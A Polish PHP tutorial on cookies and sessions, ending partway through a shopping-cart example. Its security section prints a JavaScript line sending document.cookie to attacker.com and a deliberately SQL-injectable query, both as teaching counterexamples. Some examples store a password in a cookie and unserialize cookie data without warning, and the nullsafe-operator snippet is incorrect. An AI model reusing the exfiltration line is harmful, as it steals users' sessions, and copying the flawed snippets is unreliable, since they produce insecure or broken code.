Szybki quiz – przypomnienie poprzedniej lekcji

Lekcja 13: formularze HTML, metody GET i POST, walidacja w PHP, przekierowanie po zapisie.

1. Co wypisze ten kod przy pierwszym wejściu na stronę (zwykłe GET), a co po wysłaniu formularza z polem xp = 50?

$xp = $_POST['xp'] ?? '0';
var_dump($xp);

2. Po wysłaniu formularza $_POST['tytul'] nie istnieje. Gdzie jest błąd?

<form method="post" action="dodaj-zadanie.php">
    <input type="text" id="tytul">
    <button type="submit">Wyślij</button>
</form>

3. Która wersja poprawnie rozpoznaje, że formularz został wysłany?

// a)
if (isset($_POST)) { ... }
// b)
if ($_SERVER['REQUEST_METHOD'] === 'POST') { ... }
// c)
if (count($_GET) > 0) { ... }

4. Użytkownik dodał zadanie, nacisnął F5 i zadanie zapisało się drugi raz. Jak nazywa się wzorzec, który temu zapobiega, i z jakich dwóch instrukcji PHP korzysta?

5. Użytkownik wpisuje w adresie index.php?filtr=WYKONANE. Jaki widok zobaczy i dlaczego zawężamy $filtr do trzech wartości, zanim trafi do match?

6. Formularz ma required oraz min="1" max="100". Dlaczego PHP i tak musi sprawdzić dane? Podaj jeden sposób obejścia walidacji przeglądarki.

7. Dlaczego dodanie zadania wysyłamy metodą POST, a wybór widoku listy — metodą GET?

TaskQuest

Dodatek

Cookies i Sesje to mechanizmy, które pozwalają „zapamiętać” użytkownika między kolejnymi żądaniami HTTP.

Typowe zastosowania: – Logowanie – zapamiętanie, że jesteś zalogowany – Koszyk zakupowy – przechowanie wybranych produktów – Preferencje – język interfejsu, motyw jasny/ciemny – Analityka – śledzenie zachowań użytkowników – Personalizacja – dostosowanie treści do użytkownika – Formularze wieloetapowe – przechowanie danych między krokami

Ciasteczka – Cookies

Ciasteczka – Cookies, to krótkie informacje tekstowe, wysyłane przez stronę internetową, które za pośrednictwem przeglądarki zapisywane są na komputerze użytkownika. Ciasteczka wykorzystywane są do zapamiętywania dowolnych danych, które można zakodować w postaci ciągu znaków, dzięki czemu użytkownik nie musi wpisywać tych samych danych za każdym razem, gdy odwiedzi daną stronę WWW  np. login użytkownika, zawartość koszyka, nasze preferencje, ankieta którą już wypełnialiśmy, czy preferowany język na stronie itp.

Gdy posiadamy formularz rejestracji wszystkie dane możemy przechowywać w bazie, ale dzięki ciastkom możemy ominąć ten proces. Wystarczy, że użytkownik raz coś wybierze i jego preferencje zostaną zapisane, do momentu ich zmiany lub usunięcia. Oczywiście należy mieć na uwadze, ze użytkownik wyłączy zapisywanie ciasteczek.

Ciasteczka identyfikują dane komputera i przeglądarki, która korzysta ze strony WWW. W żaden sposób nie są szkodliwe dla naszego sprzętu, nie zmieniają ustawień konfiguracyjnych.

Ciasteczka mogą być odczytane tylko z poziomu domeny, z której pochodzą.

Podsumowując:
– Ciasteczka identyfikują dane komputera i przeglądarki, nie osoby
– Nie są szkodliwe dla sprzętu – to zwykłe pliki tekstowe
– Nie zmieniają ustawień konfiguracyjnych systemu
– Mogą być odczytane tylko z poziomu domeny, z której pochodzą
– Użytkownik może je wyłączyć lub usunąć w ustawieniach przeglądarki

Podstawowe rodzaje ciasteczek

Session Cookies

„Cookies” sesyjne – są to tymczasowe informacje przechowywane w pamięci przeglądarki do momentu zakończenia sesji przeglądarki, czyli do momentu jej zamknięcia.

<?php
// Cookie sesyjne - usuwa się po zamknięciu przeglądarki
setcookie('session_id', 'abc123');
// lub
setcookie('session_id', 'abc123', 0);

Zastosowanie: Tymczasowe dane, które nie muszą być zapamiętane na stałe.

Persistent/Tracking Cookies

„Cookies” stałe, nazywane również „śledzące„cookie” (ang. tracking cookies) – pozostają w pamięci przeglądarki przez dłuższy okres. Czas ten zależy od wyboru, którego można dokonać w ustawieniach przeglądarki. Ten rodzaj cookies zezwala na przekazywanie informacji na serwer za każdym razem, gdy odwiedzana jest dana strona.

<?php
// Cookie ważne przez 7 dni
setcookie('user_preferences', 'dark_mode', time() + (7 * 24 * 60 * 60));

// Cookie ważne przez 30 dni
setcookie('language', 'pl', time() + (30 * 24 * 60 * 60));

// Cookie ważne przez rok
setcookie('remember_me', 'yes', time() + (365 * 24 * 60 * 60));

Zastosowanie: Zapamiętanie preferencji, funkcja „Zapamiętaj mnie”.

Third-party Cookies

„Cookies” podmiotów zewnętrznych – (ang. third parties cookies) – to informacje pochodzące np. z serwerów reklamowych, serwerów firm i dostawców usług (np. wyszukiwania albo map umieszczanych na stronie) współpracujących z właścicielem danej strony internetowej. Ten rodzaj cookie pozwala dostosowywać np. reklamy do preferencji i zwyczajów ich użytkowników.

Przykład: Oglądasz buty w sklepie A, potem widzisz reklamy tych butów na stronie B – to działanie third-party cookies.

Tworzenie ciasteczek

<?php
setcookie(
    string $name,              // Nazwa ciasteczka
    string $value = "",        // Wartość (domyślnie pusta)
    int $expires_or_options,   // Czas wygaśnięcia lub tablica opcji (PHP 7.3+)
    string $path = "",         // Ścieżka (domyślnie: /)
    string $domain = "",       // Domena
    bool $secure = false,      // Tylko HTTPS?
    bool $httponly = false     // Niedostępne dla JavaScript?
);

Ciasteczka są wymieniane przy przesyłaniu nagłówków HTTP, zanim strona WWW zostanie załadowana, po załadowaniu strony wysłanie ciasteczka jest niemożliwe. Należy zatem umiejętnie zaplanować wysyłanie ciasteczek. Kod wysyłający ciasteczko musi znajdować się jako pierwszy, zanim jakakolwiek informacja zostanie przesłana.

<?php
// DOBRZE - setcookie() przed jakimkolwiek outputem
setcookie('username', 'Jan', time() + 3600);
?>
<!DOCTYPE html>
<html>
...

<?php
// ŹLE - po HTML już nie zadziała!
?>
<!DOCTYPE html>
<html>
<?php
setcookie('username', 'Jan', time() + 3600); // Błąd: "Headers already sent"

Wyślemy ciasteczko o nazwie „login” i wartości „JohnSmith” oraz „pass” o wartości „admin”. Ustawimy żywotność ciasteczka na 60 sekund. Do ustawienia ciasteczka wykorzystujemy funkcję setcookie($nazwa, $wartosc, $czas), która posiada wiele argumentów, ale najczęściej wykorzystuje się 3 pierwsze (więcej informacji o setcookie() na stronie dokumentacji)

<?php
// utworzenie ciasteczek
setcookie("login", "JohnSmith", time()+60);
setcookie("pass", "admin", time()+60);
?>

Ciasteczka jako tablice

Jeśli chcesz przypisać wiele wartości do jednego ciasteczka, możesz po prostu złączyć je w tablicę. Na przykład:

<?php
setcookie("logowanie[login]", "JohnSmith", time()+60);
setcookie("logowanie[pass]", "admin", time()+60);

// To utworzy dwa osobne ciasteczka, ale w PHP będą dostępne jako tablica:
// $_COOKIE['logowanie']['login']
// $_COOKIE['logowanie']['pass']

// Sposób 2: Jedno ciasteczko z serializowaną tablicą
$dane = [
    'login' => 'JohnSmith',
    'pass' => 'admin',
    'role' => 'admin'
];

// Opcja A: JSON (zalecane - czytelne i uniwersalne)
setcookie("user_data", json_encode($dane), time() + 3600);

// Odczyt JSON:
if (isset($_COOKIE['user_data'])) {
    $userData = json_decode($_COOKIE['user_data'], true);
    echo $userData['login']; // JohnSmith
}

// Opcja B: serialize() (tylko PHP)
setcookie("user_data", serialize($dane), time() + 3600);

// Odczyt serialize:
if (isset($_COOKIE['user_data'])) {
    $userData = unserialize($_COOKIE['user_data']);
    echo $userData['login'];
}
?>

Spowoduje to stworzenie dwóch oddzielnych ciasteczek, mimo, iż „logowanie” będzie teraz pojedynczą tablicą w twoim skrypcie. Jeśli chcesz ustawić tylko jedno ciasteczko z wieloma wartościami, rozważ możliwość użycia przedtem funkcji serialize() lub explode() na wartości.

Licznik w ciasteczkach

Możesz pominąć trzeci parametr (expires) – ciasteczko będzie ważne do zamknięcia przeglądarki (przyjmie wartość 0).

Jeżeli nazwy ciasteczek są takie same, ich wartości zostaną nadpisane (o ile ścieżka lub domena nie są różne).

Przykład: Licznik wizyt w koszyku zakupów

<?php
// Sprawdź czy licznik istnieje
if (isset($_COOKIE['ile'])) {
    $ile = $_COOKIE['ile'] + 1;  // Zwiększ
} else {
    $ile = 1;  // Pierwsza wizyta
}

// Zapisz nową wartość (ważność: 1 godzina)
setcookie('ile', $ile, time() + 3600);

echo "Liczba produktów w koszyku: $ile";

Więcej przykładów

<?php
// 1. Ciasteczko na 1 godzinę
setcookie("user_id", "12345", time() + 3600);

// 2. Ciasteczko na 30 dni
setcookie("theme", "dark", time() + (30 * 24 * 60 * 60));

// 3. Ciasteczko sesyjne (do zamknięcia przeglądarki)
setcookie("temp_data", "wartość");
// lub jawnie:
setcookie("temp_data", "wartość", 0);

// 4. Ciasteczko z pełnymi opcjami bezpieczeństwa
setcookie(
    "secure_token",
    "abc123xyz",
    time() + 3600,
    "/",           // Dostępne na całej stronie
    "",            // Dla bieżącej domeny
    true,          // Tylko przez HTTPS
    true           // Niedostępne dla JavaScript (ochrona przed XSS)
);

Odczytywanie ciasteczek

Tworzone ciasteczka są automatycznie zapisywane w tablicy superglobalnej $_COOKIE (analogicznie do poznanych już tablic $_POST i $_GET), którą możemy przeglądać i operować danymi w niej zapisanymi.

<?php
// Sprawdź czy ciasteczko istnieje
if (isset($_COOKIE['login']) && isset($_COOKIE['pass'])) {
    echo "Dane logowania kompletne";
    echo "Login: " . $_COOKIE['login'];
} else {
    echo "Brak ciasteczka z danymi logowania";
}

// Odczyt z wartością domyślną (PHP 7+)
$username = $_COOKIE['username'] ?? 'Gość';

// Bezpieczny odczyt (z walidacją)
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

Możemy wyświetlić całą tablicę przy pomocy funkcji print_r:

<?php
echo '<pre>';
print_r($_COOKIE);
echo '</pre>';

/*
Array
(
    [login] => JohnSmith
    [pass] => admin
    [theme] => dark
    [PHPSESSID] => abc123def456
)
*/

Usuwanie ciastek

Aby usunąć ciasteczko, należy ustawić dla niego ujemną wartość czasową (czas w przeszłości). Zamiast dodawać do funkcji time() czas przez jaki ma być ważne, po prostu go odejmujemy.

<?php
// Sposób 1: Odejmij czas
setcookie('uzytkownik', "Ala", time() - 3600);

// Sposób 2: Ustaw na 1 (1 stycznia 1970)
setcookie('uzytkownik', '', 1);

// Sposób 3: Pusta wartość i czas w przeszłości
setcookie('uzytkownik', '', time() - 3600);

 Powyższy kod usunie ciastko uzytkownik utworzone w ostatniej godzinie.

Usuń wszystkie ciasteczka:

<?php
foreach ($_COOKIE as $name => $value) {
    setcookie($name, '', time() - 3600, '/');
}

Uwaga: Musisz podać te same parametry (path, domain) co przy tworzeniu, aby poprawnie usunąć cookie.

Przykład: Powitanie użytkownika

W oparciu o mechanizm ciasteczek skrypt wypisuje na stronie komunikaty:

‒ Gdy odwiedzający wejdzie na stronę pierwszy raz zakładane jest ciasteczko z czasem trwania 2 godziny od utworzenia oraz wyświetlany jest w paragrafie, czcionką pogrubioną, komunikat: „Dzień dobry! Strona lotniska używa ciasteczek”

‒ Jeżeli odwiedzający w ciągu 2 godzin od poprzedniego wejścia wejdzie ponownie na stronę wyświetlany jest w paragrafie, czcionką pochyloną, komunikat „Witaj ponownie na stronie lotniska”

<?php
// Sprawdź czy użytkownik był już na stronie
if (isset($_COOKIE['start'])) {
    $msg = "<p><i>Witaj ponownie na stronie lotniska</i></p>";
} else {
    // Pierwsza wizyta - utwórz cookie na 2 godziny
    setcookie('start', 'start', time() + 2 * 60 * 60);
    $msg = "<p><b>Dzień dobry! Strona lotniska używa ciasteczek</b></p>";
}
?>
<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Lotnisko</title>
</head>
<body>
    <?= $msg ?>
    
    <h1>Witamy na stronie lotniska</h1>
    <p>Tutaj znajduje się główna treść strony...</p>
</body>
</html>

Sesje – Session

Sesje lub inaczej kontrola sesji pozwala na zapamiętanie użytkownika, jego preferencji i upoważnień na stronie np. w przypadku korzystania z koszyka zakupów, mechanizmu logowania itp. Przechodzenie pomiędzy stronami nie skutkuje wówczas koniecznością ponownego logowania się na stronie.

Typowe zastosowania:

• Systemy logowania
• Koszyki zakupowe
• Wieloetapowe formularze
• Gry (zapamiętanie punktów, postępu)
• Panele administracyjne

Jak działają sesje?

Sesja tworzona jest w postaci unikalnego identyfikatora tzw. SID (Session ID). Taki identyfikator przechowywany jest w pliku cookie po stronie klienta (nazwa: PHPSESSID) lub przekazywany za pomocą adresu URL.

Zmienne przechowywane są po stronie serwera (w plikach lub bazie danych), a użytkownik ma tylko id sesji.

Wszelkie dane jakie chcemy przekazywać pomiędzy stronami zostają zapisane w tablicy superglobalnej $_SESSION.

Krok po kroku:

1. Użytkownik wchodzi na stronę
   └─ session_start()
      └─ PHP generuje SID: "abc123def456..."
         └─ Cookie PHPSESSID = "abc123def456"
            └─ Plik na serwerze: sess_abc123def456
               (zawiera dane $_SESSION)

2. Użytkownik przechodzi na inną stronę
   └─ session_start()
      └─ PHP odczytuje SID z cookie
         └─ Wczytuje dane z pliku sess_abc123def456
            └─ $_SESSION zawiera wszystkie dane

Etapy tworzenia sesji

1. Rozpoczynanie sesji
2. Tworzenie zmiennych sesyjnych
3. Praca na zmiennych sesyjnych
4. Usuwanie zmiennych i niszczenie sesji

Rozpoczynanie sesji

Aby rozpocząć sesję lub móc korzystać z danych z istniejącej sesji, na początku każdego skryptu należy wywołać funkcję:

<?php
session_start();

Co robi session_start():

• Jeżeli SID sesji nie istnieje, zostanie on utworzony
• Jeżeli SID istnieje, funkcja pobierze wartości wszystkich zmiennych obecnej sesji

Kluczowa zasada: session_start() musi być pierwszą instrukcją w pliku (przed HTML, echo, spacjami).

<?php
session_start();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

// Na początku tablica będzie pusta:
// Array ( )

// Zobaczymy, że tablica superglobalna SESSION zaistniała

Tworzenie zmiennych sesyjnych

Zmienną sesyjną tworzymy wpisując do tablicy $_SESSION kolejny element np.

$_SESSION[’zm_sesyjna_1′]=”Ja”;

<?php
session_start();

// Utwórz zmienne sesyjne
$_SESSION['zm_sesyjna_1'] = "Ja";  // tworzymy zmienną sesyjną
$_SESSION['user_id'] = 123;
$_SESSION['username'] = "Jan Kowalski";
$_SESSION['is_logged_in'] = true;
$_SESSION['login_time'] = time();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

/*
Array (
    [zm_sesyjna_1] => Ja
    [user_id] => 123
    [username] => Jan Kowalski
    [is_logged_in] => 1
    [login_time] => 1735689234
)
*/

Jak długo żyją zmienne sesyjne?

Tak zadeklarowana zmienna będzie pamiętana tak długo, jak jest to ustawione w pliku php.ini (tą wartość można zmieniać ręcznie w pliku):

; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
; http://php.net/session.gc-maxlifetime
session.gc_maxlifetime=1440

lub dopóki nie zostanie usunięta ręcznie (jak to zrobić opisałam niżej).

Praca na zmiennych sesyjnych

Zmienne sesyjne stosujemy jak wcześniej omawiane zmienne tablicowe.

Zanim rozpoczniemy używanie zmiennych należy sprawdzić, czy istnieją te zmienne:

<?php
session_start();

// Przypisz zmienną sesyjną do innej zmiennej - tak też można
$zm_s_1 = $_SESSION['zm_sesyjna_1'] = "Ja";

// Sprawdź czy zmienna istnieje
if (isset($zm_s_1)) {
    echo "<pre>";
    print_r($_SESSION);
    echo "</pre>";
} else {
    echo "Nie ma zmiennych sesyjnych";
}

// Odczyt z wartością domyślną
$username = $_SESSION['username'] ?? 'Gość';

// Modyfikacja
if (isset($_SESSION['counter'])) {
    $_SESSION['counter']++;
} else {
    $_SESSION['counter'] = 1;
}

// Dodawanie do tablicy sesyjnej
$_SESSION['cart'][] = ['product_id' => 5, 'name' => 'Laptop'];

Usuwanie zmiennych i niszczenie sesji

W celu usunięcia zmiennej sesyjnej stosujemy:

<?php
session_start();

// Usuń pojedynczą zmienną
unset($_SESSION['zm_sesyjna_1']);

// lub
unset($zm_s_1);

Gdy chcemy usunąć wszystkie zmienne na raz:

<?php
session_start();

// Nadpisz istniejącą tablicę nową pustą tablicą
$_SESSION = array();
// lub krócej:
$_SESSION = [];

Jeżeli sesja nie jest już potrzebna, np. klient wyloguje się z aplikacji, możemy zniszczyć sesję:

<?php
session_start();

// 1. Usuń wszystkie zmienne
$_SESSION = [];

// 2. Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// 3. Zniszcz sesję na serwerze
session_destroy();

Ważna uwaga o tworzeniu sesji

Podczas pracy z sesjami należy pamiętać, że rekord sesji nie jest tworzony, dopóki zmienna nie zostanie zarejestrowana przy użyciu funkcji session_register() (przestarzałe w nowszych wersjach PHP) lub przez dodanie nowego klucza do tablicy superglobalnej $_SESSION.

Dzieje się tak niezależnie od tego, czy sesja została uruchomiona przy użyciu funkcji session_start().

Przykład:

<?php
session_start();  // Rozpoczęto sesję, ale...

// ... plik sesji na serwerze NIE ZOSTANIE utworzony dopóki nie zapiszesz czegoś:
$_SESSION['cokolwiek'] = 'wartość';  // TERAZ plik sesji się utworzy

Cookies vs Sesje 

Kiedy używać Cookies?

Preferencje użytkownika – język, motyw, rozmiar czcionki
„Nie pokazuj więcej” – zamknięte bannery, popupy
Tracking i analityka – Google Analytics, statystyki
„Zapamiętaj mnie” – automatyczne logowanie po 30 dniach
Dane nielokalne – muszą być dostępne między sesjami

Kiedy używać Sesji?

Logowanie użytkowników – ID, rola, uprawnienia
Koszyki zakupowe – produkty, ilości, ceny
Wieloetapowe formularze – dane między krokami
Dane wrażliwe – nie mogą być widoczne dla użytkownika
Dane tymczasowe – potrzebne tylko podczas przeglądania
Panele administracyjne – uprawnienia, filtry, ustawienia

Połączenie Cookies i Sesji

<?php
session_start();

// Sesja - dla danych wrażliwych (ID, uprawnienia)
$_SESSION['user_id'] = 123;
$_SESSION['role'] = 'admin';

// Cookie - dla preferencji (język, motyw)
setcookie('language', 'pl', time() + (365 * 24 * 60 * 60));
setcookie('theme', 'dark', time() + (365 * 24 * 60 * 60));

// Cookie - dla "Zapamiętaj mnie"
if (isset($_POST['remember_me'])) {
    $token = bin2hex(random_bytes(32));
    setcookie('remember_token', $token, time() + (30 * 24 * 60 * 60), '/', '', true, true);
    
    // Zapisz token w bazie danych powiązany z user_id
    // saveRememberToken($_SESSION['user_id'], $token);
}

Bezpieczeństwo

1. Zabezpieczanie Cookies

Problem: XSS (Cross-Site Scripting)

Jeśli cookie jest dostępne dla JavaScript, atakujący może je ukraść:

// Złośliwy kod JS:
document.location = 'https://attacker.com/steal.php?cookie=' + document.cookie;

Rozwiązanie: httponly flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

Problem: Man-in-the-Middle (przechwycenie przy HTTP)

Cookie może zostać przechwycone podczas transmisji przez niezabezpieczone połączenie.

Rozwiązanie: secure flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

PHP 7.3+ – tablica opcji:

<?php
setcookie('token', $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'  // Ochrona przed CSRF
]);

SameSite opcje:

• Strict – cookie nigdy nie jest wysyłane między stronami
• Lax – cookie wysyłane tylko przy „bezpiecznych” żądaniach (GET)
• None – cookie zawsze wysyłane (wymaga secure=true)

2. Session Hijacking – kradzież sesji

Problem:

Atakujący kradnie SID (np. przez XSS lub przechwycenie) i podszywa się pod użytkownika.

Rozwiązanie:

<?php
session_start();

// 1. Regeneruj ID sesji po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Stary SID zostanie usunięty
    $_SESSION['user_id'] = $userId;
}

// 2. Przechowuj i sprawdzaj IP oraz User Agent
if (!isset($_SESSION['user_ip'])) {
    $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} else {
    // Sprawdź czy IP i User Agent się zgadzają
    if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
        $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // Podejrzana aktywność - wyloguj
        session_destroy();
        die('Sesja została zakończona ze względów bezpieczeństwa');
    }
}

// 3. Przechowuj czas ostatniej aktywności (timeout)
$timeout = 1800; // 30 minut

if (isset($_SESSION['last_activity'])) {
    if (time() - $_SESSION['last_activity'] > $timeout) {
        session_destroy();
        header('Location: login.php?timeout=1');
        exit;
    }
}

$_SESSION['last_activity'] = time();

3. Session Fixation

Problem:

Atakujący ustawia znany mu SID przed logowaniem użytkownika, dzięki czemu po zalogowaniu ma dostęp do sesji.

Rozwiązanie:

<?php
session_start();

// ZAWSZE regeneruj ID po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Ważne: true = usuń stary plik sesji
    $_SESSION['user_id'] = $userId;
    $_SESSION['logged_in'] = true;
}

4. CSRF (Cross-Site Request Forgery)

Problem:

Atakujący zmusza przeglądarkę użytkownika do wykonania niepożądanego żądania.

Rozwiązanie: Token CSRF

<?php
session_start();

// Generuj token przy wyświetlaniu formularza
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>

<!-- W formularzu -->
<form method="POST">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <!-- ... reszta pól ... -->
</form>

<?php
// Sprawdź token przy odbiorze
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || 
        !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Przetwórz formularz...
}

Funkcja hash_equals() zapobiega timing attacks.

5. Nigdy nie ufaj danym z Cookies

<?php
// BARDZO ŹLE - SQL Injection!
$userId = $_COOKIE['user_id'];
$query = "SELECT * FROM users WHERE id = $userId";

// ŹLE - brak walidacji
$role = $_COOKIE['role'];
if ($role === 'admin') {
    // Daj dostęp do panelu admina
}

// DOBRZE - walidacja + prepared statements
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

if ($userId) {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$userId]);
    $user = $stmt->fetch();
    
    // Sprawdź rolę z bazy, nie z cookie!
    if ($user && $user['role'] === 'admin') {
        // Daj dostęp
    }
}

PHP 8 – nowości

1. Named arguments w setcookie()

<?php
// PHP 7 i wcześniej - musiałeś podać wszystkie parametry
setcookie('token', $value, time() + 3600, '/', '', true, true);

// PHP 8 - named arguments
setcookie(
    name: 'token',
    value: $value,
    expires_or_options: time() + 3600,
    httponly: true,
    secure: true
);

// Możesz pominąć środkowe parametry
setcookie(
    name: 'theme',
    value: 'dark',
    expires_or_options: time() + (365 * 24 * 60 * 60),
    httponly: true  // Pominęliśmy path, domain, secure
);

2. Match expression (zamiast switch)

<?php
session_start();

// PHP 7 - switch
$role = $_SESSION['role'] ?? 'guest';

switch ($role) {
    case 'admin':
        $permissions = ['read', 'write', 'delete'];
        break;
    case 'editor':
        $permissions = ['read', 'write'];
        break;
    case 'user':
        $permissions = ['read'];
        break;
    default:
        $permissions = [];
}

// PHP 8 - match (zwięzłe i bezpieczniejsze)
$permissions = match($_SESSION['role'] ?? 'guest') {
    'admin' => ['read', 'write', 'delete'],
    'editor' => ['read', 'write'],
    'user' => ['read'],
    default => []
};

3. Nullsafe operator

<?php
session_start();

// PHP 7 - sprawdzanie zagnieżdżonych danych
$city = null;
if (isset($_SESSION['user']) && 
    isset($_SESSION['user']['address']) && 
    isset($_SESSION['user']['address']['city'])) {
    $city = $_SESSION['user']['address']['city'];
}

// PHP 8 - nullsafe operator
$city = $_SESSION['user']?->address?->city ?? 'Nieznane';

4. Union types

<?php
// PHP 8 - funkcja może zwrócić string lub null
function getUserName(): string|null {
    session_start();
    return $_SESSION['username'] ?? null;
}

// Użycie
$name = getUserName() ?? 'Gość';

5. Constructor property promotion

<?php
// PHP 7
class SessionManager {
    private int $timeout;
    private string $savePath;
    
    public function __construct(int $timeout, string $savePath) {
        $this->timeout = $timeout;
        $this->savePath = $savePath;
    }
}

// PHP 8 - zwięźle
class SessionManager {
    public function __construct(
        private int $timeout,
        private string $savePath
    ) {}
}

// Użycie
$manager = new SessionManager(1800, '/tmp/sessions');

Przykłady praktyczne

1. Prosty system logowania

login.php:

<?php
session_start();

// Jeśli już zalogowany, przekieruj
if (isset($_SESSION['user_id'])) {
    header('Location: dashboard.php');
    exit;
}

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    // Przykładowa walidacja (w prawdziwej aplikacji: baza danych + hash)
    if ($username === 'admin' && $password === 'password123') {
        // Regeneruj ID sesji (ochrona przed session fixation)
        session_regenerate_id(true);
        
        // Zaloguj użytkownika
        $_SESSION['user_id'] = 1;
        $_SESSION['username'] = $username;
        $_SESSION['login_time'] = time();
        $_SESSION['is_admin'] = true;
        
        // Zapamiętaj IP i User Agent (ochrona przed hijacking)
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header('Location: dashboard.php');
        exit;
    } else {
        $error = 'Nieprawidłowy login lub hasło';
    }
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie</title>
    <style>
        body { font-family: Arial; max-width: 400px; margin: 50px auto; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; width: 100%; }
        .error { color: red; padding: 10px; background: #fee; border: 1px solid red; margin-bottom: 15px; }
    </style>
</head>
<body>
    <h1>Logowanie</h1>
    
    <?php if ($error): ?>
        <div class="error"><?= htmlspecialchars($error) ?></div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="text" name="username" placeholder="Login" required>
        <input type="password" name="password" placeholder="Hasło" required>
        <button type="submit">Zaloguj</button>
    </form>
    
    <p><small>Dane testowe: admin / password123</small></p>
</body>
</html>

dashboard.php:

<?php
session_start();

// Sprawdź czy użytkownik jest zalogowany
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit;
}

// Sprawdź timeout (30 minut bezczynności)
$timeout = 1800;
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $timeout) {
    session_destroy();
    header('Location: login.php?timeout=1');
    exit;
}
$_SESSION['last_activity'] = time();

// Sprawdź IP i User Agent (ochrona przed hijacking)
if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
    $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    session_destroy();
    die('Sesja została zakończona ze względów bezpieczeństwa');
}

$username = $_SESSION['username'];
$loginTime = date('Y-m-d H:i:s', $_SESSION['login_time']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Panel użytkownika</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        .user-info { background: #e7f3ff; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
        a { display: inline-block; padding: 10px 20px; background: #dc3545; color: white; 
            text-decoration: none; border-radius: 5px; }
    </style>
</head>
<body>
    <h1>Panel użytkownika</h1>
    
    <div class="user-info">
        <p>Zalogowany jako: <strong><?= htmlspecialchars($username) ?></strong></p>
        <p>Czas logowania: <?= $loginTime ?></p>
        <p>ID sesji: <?= session_id() ?></p>
    </div>
    
    <p><a href="logout.php">Wyloguj się</a></p>
</body>
</html>

logout.php:

<?php
session_start();

// Wyloguj użytkownika
$_SESSION = [];

// Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

header('Location: login.php');
exit;

2. Koszyk zakupowy

<?php
session_start();

// Inicjalizuj koszyk jeśli nie istnieje
if (!isset($_SESSION['cart'])) {
    $_SESSION['cart'] = [];
}

// Dodaj produkt
if (isset($_POST['add_to_cart'])) {
    $product = [
        'id' => $_POST['product_id'],
        'name' => $_POST['product_name'],
        'price' => (float)$_POST['product_price'],
        'quantity' => 1
    ];
    
    // Sprawdź czy produkt już jest w koszyku
    $found = false;
    foreach ($_SESSION['cart'] as &$item) {
        if ($item['id'] === $product['id']) {
            $item['quantity']++;
            $found = true;
            break;
        }
    }
    
    if (!$found) {
        $_SESSION['cart'][] = $product;
    }
}

// Usuń produkt
if (isset($_POST['remove_from_cart'])) {
    $removeId = $_POST['product_id'];
    $_SESSION['cart'] = array_filter($_SESSION['cart'], fn($item) => $item['id'] !== $removeId);
    $_SESSION['cart'] = array_values($_SESSION['cart']); // Prze-indeksuj tablicę
}

// Oblicz sumę
$total = 0;
foreach ($_SESSION['cart'] as $item) {
    $total += $item['price'] * $item['quantity'];
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Koszyk</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        .total { font-size: 20px; font-weight: bold; margin-top: 20px; text-align: right; }
        button { padding: 5px 10px; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Koszyk zakupowy</h1>
    
    <?php if (empty($_SESSION['cart'])): ?>
        <p>Koszyk jest pusty</p>
    <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Produkt</th>
                    <th>Cena</th>
                    <th>Ilość</th>
                    <th>Wartość</th>
                    <th>Akcja</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($_SESSION['cart'] as $item): ?>
